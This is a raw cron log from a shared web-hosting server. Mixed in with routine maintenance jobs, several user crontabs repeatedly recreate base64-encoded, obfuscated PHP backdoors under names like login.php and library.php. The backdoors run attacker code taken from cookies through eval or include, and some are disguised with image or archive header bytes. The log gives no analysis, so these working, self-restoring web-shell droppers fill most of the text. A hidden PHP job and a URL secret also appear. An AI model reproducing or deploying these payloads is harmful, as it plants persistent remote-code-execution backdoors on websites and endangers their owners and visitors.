Apr 19 06:33:02 medusa CROND[15432]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:33:02 medusa CROND[15434]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:33:02 medusa CROND[15435]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:33:02 medusa CROND[15436]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:33:02 medusa CROND[15439]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:33:02 medusa CROND[15443]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:33:02 medusa CROND[15445]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:33:02 medusa CROND[15448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:34:01 medusa CROND[7153]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:34:02 medusa CROND[7288]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:34:02 medusa CROND[7290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:34:02 medusa CROND[7289]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:34:02 medusa CROND[7291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:34:02 medusa CROND[7292]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:34:02 medusa CROND[7293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:34:02 medusa CROND[7294]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:34:02 medusa CROND[7298]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:34:02 medusa CROND[7299]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:34:02 medusa CROND[7300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:34:02 medusa CROND[7296]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:34:02 medusa CROND[7305]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:35:01 medusa CROND[30950]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[30977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:35:01 medusa CROND[30978]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[30979]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:35:01 medusa CROND[30981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[30982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:35:01 medusa CROND[30987]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:35:01 medusa CROND[30989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:35:01 medusa CROND[30984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:35:01 medusa CROND[30985]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:35:01 medusa CROND[30986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[30980]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:35:01 medusa CROND[31001]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:35:01 medusa CROND[31003]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[30988]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:35:01 medusa CROND[31005]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[30999]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 06:35:01 medusa CROND[31017]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
